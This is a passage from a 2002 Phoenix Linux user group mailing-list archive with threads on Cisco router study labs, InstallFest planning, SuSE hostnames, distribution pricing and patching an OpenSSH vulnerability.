7JXOEtj1qTBgP/1cPCDVp3c= =A328 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:27:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 10:27:10 -0700 Subject: Router Simulator Message-ID: <3D19F96E.5080600@qwest.net> Hola, I was wondering if anybody new where i could get a Cisco router simulator that ran under Linux. I have one for my wifes M$ box but, need one for my linux box so i can use it outside of the house. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:36:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Wed, 26 Jun 2002 10:36:17 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19FB91.7020504@netscape.net> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:38:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:38:42 -0500 (CDT) Subject: West Side InstallFest In-Reply-To: <200206261007.11942.voltage_spike@fastmail.fm> Message-ID: > How would this be significantly different from a posting to the PLUG mailing > list? An expert who sees the title "Free BSD on an AMIGA" is just as > likely to volunteer with or without being registered. Additionally, please > lose and gain skills constantly, but probably do not wish to maintain a > PLUG profile (at least, I don't particularly care to). Many people are not willing to get 100's of emails a day, so will not subscribe to high traffic list serv. You could then argue use the announce list. Email lists are good for somethings, but they are no substitute for a good contact database. GNU\Linux is good, but it doesnt sell itself. (at least not at exponential rates) If we want to keep up we will need to be more organized. Recent calls to action politically are an example, if there was a database and people were able to flag, 'interested in lobbying' or such then it would be easier to mobilize quickly. Actually I will stop, as this boils down to a privacy debate, not a usage debate. The fact is many people are paranoid of having their name on a list, any list, for any reason. Regardless of usefulness their opinion will not be changed. > It is a good idea, I just don't see it as being necessary given the nature > of the PLUG mailing list. The nature of the PLUG list is much more like a conversation at a bar (read lots of off topic stuff, and im not advocating we change that) than a way to exchange direct contact that is highly specific. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:40:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 12:40:57 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> Message-ID: At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:34:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 10:34:11 -0700 Subject: West Side InstallFest Message-ID:

It would also be nice to have a few "Fully-Functional" stations set up for "demo" purposes for anyone new to Linux who might want to see "what it can do for me".  These stations can include a couple set up as dual / multi-boot.

JJ

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From: Robert Bushman
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Subject: West Side InstallFest
Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT)
The InstallFest Post Mortem this evening was a
lot of fun, and can be briefly summarized as,
"InstallFest was great! Let's do it again!"
With that in mind the list of volunteers for the
West Side InstallFest has begun:
Flyer: Michelle Lowman
Press: Lee Einer
Site: Steve (foodog) (pending GCC approval)
Web Site: Jim Farli
Chairman: Bob Bushman
Sponsor Wrangler: Available
Installers: Anyone here ever installed Linux before?
Other: How would you like to help?
It was mentioned that der.hans provided quite
a bit of invaluable wiring and power gear, that
Alan has an appreciable network of sponsor
contacts (and Jim may be able to bend the ear
of someone at O'Reilly), and that William
Lindley might have some organizational advice.
Of course, your help is appreciated in any
area you can support.
As a tentative date, I'd like to suggest Saturday,
September 28. Jim suggested this would give
students time to settle into the fall semester
and start looking for weekend distractions.
On potential improvements, some things that caught
my attention at the post mortem were:
1. More stations to allow more simultaneous installs.
2. Preliminary survey to identify users who want
specialized installs.
3. Trans/Post-liminary survey to record the gear
being used, OS being replaced, FAQs, etc.
4.
Bob
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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:41:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:41:05 -0700 Subject: Linux boot sequence Message-ID: <15641.64689.269204.365137@bela.interhack.net> Can anyone point me to a Web page that explains the Linux boot sequence at a high level? I'm not looking for nitty gritty information. In fact, I'm talking about skipping entirely over the details of what goes on in the kernel. I mean something like: o Kernel loads and starts o init starts o inittab looked at o runs through startup scripts ... etc., but I need to get the pieces in the right order. I'll be teaching a class that includes a birds eye view of Linux booting and shutdown, and need to be sure I've got my information straight. I need this sorta soon, so direct email responses would be much appreciated, since I tend to miss some things on the list. Thanks much From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:53:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Wed, 26 Jun 2002 10:53:11 -0700 Subject: Linux boot sequence In-Reply-To: <15641.64689.269204.365137@bela.interhack.net> References: <15641.64689.269204.365137@bela.interhack.net> Message-ID: <15641.65415.744992.78794@bela.interhack.net> Never mind ... Lynn> Can anyone point me to a Web page that explains the Lynn> Linux boot sequence ... I found a great one at http://www.yolinux.com/TUTORIALS/LinuxTutorialInitProcess.html in case anyone is looking for such a thing. (This looks like a pretty good series of tutorials, BTW.) No need to respond, I'll just use this. Sorry I neglected to sign my last message. -- Lynn David Newton Phoenix, AZ http://www.eecs.umich.edu/ldn From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:20:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:20:44 -0700 Subject: Router Simulator References: Message-ID: <3D1A05FC.4020901@ttlexceeded.com> Derek Neighbors wrote: >At one time there was a presentation by a fellow going through Cisco >certification that had setup an environment and was willing to let others >use it and play and help anyone interested use Linux to study for Cisco >certs. > I've got a (Linux-based) lab set up at http://lab.ttlexceeded.com:8201 that anyone's welcome to use. There are five Cisco 2500-series routers in the pod, with live token-ring and ethernet. The arrangement will allow frame switch configurations, ptp and multipoint OSPF, etc. I get about 10-15 hours of usage between them daily, so there's usually one or two free most of the time. >I would give you his name, but for privacy reasons we like to be anonymous >so we can not help one another efficiently. (yes being sarcastic smart >ass) ;) > I did a presentation on routing last year. Not sure if I'm the party to which you are referring though. :) - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:26:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle OMalley) Date: Wed, 26 Jun 2002 11:26:46 -0700 Subject: Hello I'm new (kinda) In-Reply-To: <20020626080850.51634.qmail@web13408.mail.yahoo.com> References: <20020625202707.GB31500@aries.evilmascot.com> <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <20020626182646.GA31947@aries.evilmascot.com> On Wed, Jun 26, 2002 at 01:08:50AM -0700, bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss I also use fbsd in a number of places and really enjoy it. My only problem is it obviously doesnt have the support and momentum like linux does. The consistency and stability (when the drivers are highly developed) are killer, along with ffs and and REALLY like the fact it uses disk slices as compared to using dos paritioning. I use it on my samba servers, plus I've built a box that does bridging/traffic shapping (using dummynet). Works AMAZINGLY well and is a million times easier to implement compared to cbq stuff on linux. I wish there were a monthly bsd meeting. Is there? I seem to recall searching them out awhile back but all I came up with was a broken website. -Kyle From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:29:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Wed, 26 Jun 2002 11:29:06 -0700 Subject: Router Simulator Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4E0B@azmscorp01.corp.azms> Not sure if this will be of any use have you tried setting up wine on the linux box to see if you could get the sim from the other system to run. Just a thought. Larry -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Wednesday, June 26, 2002 10:41 AM To: PLUG-discuss Subject: Re: Router Simulator At one time there was a presentation by a fellow going through Cisco certification that had setup an environment and was willing to let others use it and play and help anyone interested use Linux to study for Cisco certs. I would give you his name, but for privacy reasons we like to be anonymous so we can not help one another efficiently. (yes being sarcastic smart ass) ;) -Derek On Wed, 26 Jun 2002, Raymond Cantwell wrote: > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:25:58 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> Message-ID: <3D1A0736.1030805@ttlexceeded.com> Raymond Cantwell wrote: > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, > need one for my linux box so i can use it outside of the house. I'm not sure about simulators, but you can make your Linux box into a live router using Zebra. Zebra uses a very Cisco-like interface. Me and some pals hooked up our home systems via Zebra to create the OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name for our little distributed routing lab. I had my Linux box and five routers, another guy had a Cisco router and another only a Linux box. We were able to set up some sophisticated BGP routing scenarios that helped me ace that portion of the CCNP exams. If you have a handful of Linux boxen, or even VMware, Zebra can help add complexity to your routing scenarios. What's more, it's the "real thing", so you wind up with more of an idea of the "real world" than with many simulators. BGP wasn't really interesting until we had 7 or 8 routers and a few ASen going. You can easily miss the finer points of route redistribution with only 2 or 3 routers. I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a separate message to Derek in this thread. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:25:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 26 Jun 2002 11:25:44 -0700 (MST) Subject: Router Simulator In-Reply-To: Message-ID: Try FreeSCO --- http://www.freesco.org \\/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:40:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 13:40:07 -0500 (CDT) Subject: Router Simulator In-Reply-To: <3D1A05FC.4020901@ttlexceeded.com> Message-ID: > >I would give you his name, but for privacy reasons we like to be anonymous > >so we can not help one another efficiently. (yes being sarcastic smart > >ass) ;) > > > I did a presentation on routing last year. Not sure if I'm the party to > which you are referring though. :) Definitely you are, man was the presentation that long ago. :) I was going to add I think his first name is Bob, but wasnt sure if that was right. -Derek From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:38:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:38:31 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: Message-ID: <3D1A0A27.10207@ttlexceeded.com> Jay wrote: >*** OpenSSH Remote Root Exploit *** > >Hey all. I just sent this to AZIPA and considering the severe impact of a >remote root exploit, and the fact that many of you are probably running >OpenSSH, I thought I'd forward it to PLUG too. Details below: > I've been following this with some concern since I run ssh for my little routing lab. That *used* to make me feel better. Anyhow, I'm running Debian and just did an apt-get dist-upgrade to OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* covered by nmap by default. I think I'm in pretty good shape, but wanted to check with others and see if there are any other recommendations (short of shutting it off). I also noticed the following in my log today. I had updated to 3.3 a couple of days ago, so that's what was running when this showed. I just don't know enough about the innards of ssh to know if this is an issue: Jun 26 07:50:09 localhost sshd[14694]: fatal: mm_request_send: write Thanks to logcheck, things like that get noticed. That's the only occurence, and everything else looks like normal activity. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:39:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 11:39:10 -0700 Subject: SuSE 7.3 sparc64 Message-ID: <200206261139.10339.zen2now@qwest.net> I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my hostname without using YaST. i made the change in /etc/hosts and /etc/HOSTNAME, but there seems to be another file, or other files that contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no effect on the machines hostname. just a little curious as to where the "Real Hostname" is located. BTW this is my first time really working with SuSE, RH and MDK have been my flavors of choice. slr From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 18:59:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 11:59:20 -0700 Subject: Router Simulator References: Message-ID: <3D1A0F08.1010502@ttlexceeded.com> William Lindley wrote: >Try FreeSCO --- http://www.freesco.org > No doubt a nice package for anyone setting up a small gateway/router/firewall, but I'm not sure how relevant it would be for someone looking for Cisco study. I don't even see a routing daemon listed on the standard config. - Bob From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:24:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:24:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <000c01c21d47$0e4dd2e0$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0C.61B65EB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
------=_NextPart_000_0009_01C21D0C.61B65EB0-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:04:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Wed, 26 Jun 2002 13:04:57 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> Message-ID: <3D1A1E69.8070102@qwest.net> Bob George wrote: > Raymond Cantwell wrote: > >> I was wondering if anybody new where i could get a Cisco router >> simulator that ran under Linux. I have one for my wifes M$ box but, >> need one for my linux box so i can use it outside of the house. > > > I'm not sure about simulators, but you can make your Linux box into a > live router using Zebra. Zebra uses a very Cisco-like interface. Me > and some pals hooked up our home systems via Zebra to create the > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > for our little distributed routing lab. I had my Linux box and five > routers, another guy had a Cisco router and another only a Linux box. > We were able to set up some sophisticated BGP routing scenarios that > helped me ace that portion of the CCNP exams. > > If you have a handful of Linux boxen, or even VMware, Zebra can help > add complexity to your routing scenarios. What's more, it's the "real > thing", so you wind up with more of an idea of the "real world" than > with many simulators. BGP wasn't really interesting until we had 7 or > 8 routers and a few ASen going. You can easily miss the finer points > of route redistribution with only 2 or 3 routers. > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > separate message to Derek in this thread. > > - Bob > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > Bob thank you the lab will be very helpfull. You rock man. Ray From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:43:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tony Wasson) Date: Wed, 26 Jun 2002 12:43:12 -0700 Subject: Router Simulator / try a pod! References: <3D19F96E.5080600@qwest.net> Message-ID: <035501c21d49$b59f9db0$1f67c6d0@chelly> I'm sure Bob G doesn't want to blow his own horn, but you might look into his pod. You could hit it via telnet from your Linux box. http://lab.ttlexceeded.com:8201 Tony ----- Original Message ----- From: "Raymond Cantwell" To: "PLUG-discuss" Sent: Wednesday, June 26, 2002 10:27 Subject: Router Simulator > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 08:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (J) Date: Thu, 27 Jun 2002 01:23:07 -0700 Subject: Router Simulator In-Reply-To: <3D19F96E.5080600@qwest.net> References: <3D19F96E.5080600@qwest.net> Message-ID: On Wednesday 26 June 2002 10:27 am, you wrote: Would something like Zebra work for you? www.zebra.org > Hola, > I was wondering if anybody new where i could get a Cisco router > simulator that ran under Linux. I have one for my wifes M$ box but, need > one for my linux box so i can use it outside of the house. > Ray > malbojia@qwest.net > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:45:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:45:45 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261139.10339.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing my > hostname without using YaST. i made the change in /etc/hosts and > /etc/HOSTNAME, but there seems to be another file, or other files that > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > effect on the machines hostname. just a little curious as to where the "Real > Hostname" is located. BTW this is my first time really working with SuSE, RH > and MDK have been my flavors of choice. Use the hostname command to change the active hostname. rgrep for the hostname in etc. You should find that at least your MTA has the hostname hard-coded as well. ciao, der.hans -- # https://www.LuftHans.com/ # Passwords are like underwear. You don't share them, you don't hang them on # your monitor, or under your keyboard, you don't email them, or put them on # a web site, and you must change them very often. -- Unknown From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 20:55:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 13:55:35 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: <3D192905.9262FC68@georgetoft.com> Message-ID: Am 25. Jun, 2002 schwätzte George Toft so: > While searching for more debarment guidelines, I came across these > tidbits: > =================================================================== > Title 7, Ch. 2 Arizona Administrative Code > State Board of Education > > R7-2-1161. Authority to debar or suspend > A. The governing board has the authority to debar or suspend a > person from participating in school district procurements. OK, this says they can debar a company, but doesn't require them to do so. Just looked at your earlier post about Maricopa County rules as well. Those also don't require debarment :(. I would presume this means that m$ isn't automagically debarred, rather only that the gov't now has cause to debar m$ if the gov't so chose. Now we have to convince them to debar m$ for their illegal activities. That's something that should've happened more than 10 years ago the first time m$ was on trial for anti-trust violations. Were they actually convicted that time or did they plea bargain out of it? ciao, der.hans > B. The causes for debarment or suspension include the following: > 3. Conviction or civil judgment finding a violation by any > person or any subsidiary or affiliate of any person under > state or federal antitrust statutes. > > www.mpsaz.org/purchasing/protest.pdf > > Same as before - Schools may debar anti-trust violators. > > =================================================================== > Same thing for ASU: > www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) > > =================================================================== > Same thing for the State: > http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment > > =================================================================== > > > Tom Emerson is right - there is not much originality from one government > agency to the next in Arizona - they all pretty much copy the same text > and format. > > Let the letter writing begin!!! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:29:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 14:29:07 -0700 Subject: Router Simulator References: <3D19F96E.5080600@qwest.net> <3D1A0736.1030805@ttlexceeded.com> <3D1A1E69.8070102@qwest.net> Message-ID: <005701c21d58$838ba5d0$0301010a@tickticker.com> I have 3 spare 2514s, and a 2511 and a 1900 series switch that are sitting on my shelf now (i use 2600s to study and as my edge router). if anyone would like me to set up a lab or borrow or buy one off me that would be fine. I also have a cisco login that gets me any ios. just passed my ccie written. anthony ----- Original Message ----- From: "Raymond Cantwell" To: Sent: Wednesday, June 26, 2002 1:04 PM Subject: Re: Router Simulator > Bob George wrote: > > > Raymond Cantwell wrote: > > > >> I was wondering if anybody new where i could get a Cisco router > >> simulator that ran under Linux. I have one for my wifes M$ box but, > >> need one for my linux box so i can use it outside of the house. > > > > > > I'm not sure about simulators, but you can make your Linux box into a > > live router using Zebra. Zebra uses a very Cisco-like interface. Me > > and some pals hooked up our home systems via Zebra to create the > > OpenWISP (Worldwide Internet Simulation Project) -- a grandiose name > > for our little distributed routing lab. I had my Linux box and five > > routers, another guy had a Cisco router and another only a Linux box. > > We were able to set up some sophisticated BGP routing scenarios that > > helped me ace that portion of the CCNP exams. > > > > If you have a handful of Linux boxen, or even VMware, Zebra can help > > add complexity to your routing scenarios. What's more, it's the "real > > thing", so you wind up with more of an idea of the "real world" than > > with many simulators. BGP wasn't really interesting until we had 7 or > > 8 routers and a few ASen going. You can easily miss the finer points > > of route redistribution with only 2 or 3 routers. > > > > I mentioned my free router pod (http://lab.ttlexceeded.com:8201) in a > > separate message to Derek in this thread. > > > > - Bob > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Bob thank you the lab will be very helpfull. You rock man. > Ray > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:46:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 14:46:17 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206261446.17057.zen2now@qwest.net> thx for the response, i tried the hostname from cli, but it will not change the machines hostname. it only makes the change AFAIK, to the hostname listed when entering #hostname. i have yet to rgrep etc, i am caught in a battle with netsaint's cgi permissions. but thats another issue, and if your interested in that issue i can give you the low down on it. slr On Wednesday 26 June 2002 01:45 pm, der.hans wrote: > Am 26. Jun, 2002 schwätzte slr so: > > I installed SuSE 7.3 on my Sun Ultra 5, and my current issue is changing > > my hostname without using YaST. i made the change in /etc/hosts and > > /etc/HOSTNAME, but there seems to be another file, or other files that > > contain the real hostname. so editing /etc/hosts or /etc/HOSTNAME have no > > effect on the machines hostname. just a little curious as to where the > > "Real Hostname" is located. BTW this is my first time really working with > > SuSE, RH and MDK have been my flavors of choice. > > Use the hostname command to change the active hostname. > > rgrep for the hostname in etc. You should find that at least your MTA has > the hostname hard-coded as well. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 21:43:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 26 Jun 2002 14:43:50 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) In-Reply-To: <3D1A0A27.10207@ttlexceeded.com> References: <3D1A0A27.10207@ttlexceeded.com> Message-ID: <200206261444.02761.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 26 June 2002 11:38 am, Bob George wrote: > Anyhow, I'm running Debian and just did an apt-get dist-upgrade to > OpenSSH 3.3p1-0.0potato6. I run sshd only on a non-default port *not* > covered by nmap by default. I think I'm in pretty good shape, but wanted > to check with others and see if there are any other recommendations > (short of shutting it off). You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. The key is that it now supports privilege separation which should trap them in 